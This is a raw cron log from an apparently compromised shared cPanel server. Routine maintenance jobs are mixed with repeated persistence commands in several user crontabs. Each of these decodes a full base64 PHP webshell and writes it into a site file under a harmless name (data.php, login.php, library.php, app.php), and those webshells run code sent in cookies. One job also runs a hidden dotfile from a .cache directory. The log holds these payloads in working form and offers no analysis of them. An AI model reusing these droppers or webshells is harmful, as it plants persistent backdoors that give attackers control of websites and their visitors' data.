Mar  1 11:50:02 medusa CROND[3925]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:50:02 medusa CROND[3923]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:50:02 medusa CROND[3926]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:50:02 medusa CROND[3927]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 11:50:02 medusa CROND[3935]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:50:02 medusa CROND[3930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:50:02 medusa CROND[3938]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 11:50:02 medusa CROND[3943]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:50:02 medusa CROND[3949]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:50:02 medusa CROND[3928]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 11:50:02 medusa CROND[3947]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 11:50:02 medusa CROND[3951]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 11:50:02 medusa CROND[3958]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:50:02 medusa CROND[3936]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 11:50:02 medusa CROND[3948]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 11:51:01 medusa CROND[24872]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 11:51:02 medusa CROND[24965]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:51:02 medusa CROND[24966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:51:02 medusa CROND[24967]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 11:51:02 medusa CROND[24968]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:51:02 medusa CROND[24970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:51:02 medusa CROND[24969]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:51:02 medusa CROND[24975]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:51:02 medusa CROND[24976]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 11:51:02 medusa CROND[24978]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:51:02 medusa CROND[24980]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:51:02 medusa CROND[24981]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 11:51:02 medusa CROND[24983]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:51:02 medusa CROND[24995]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:51:02 medusa CROND[25000]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:52:01 medusa CROND[15047]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 11:52:01 medusa CROND[15063]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:52:01 medusa CROND[15064]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:52:01 medusa CROND[15065]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:52:01 medusa CROND[15066]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
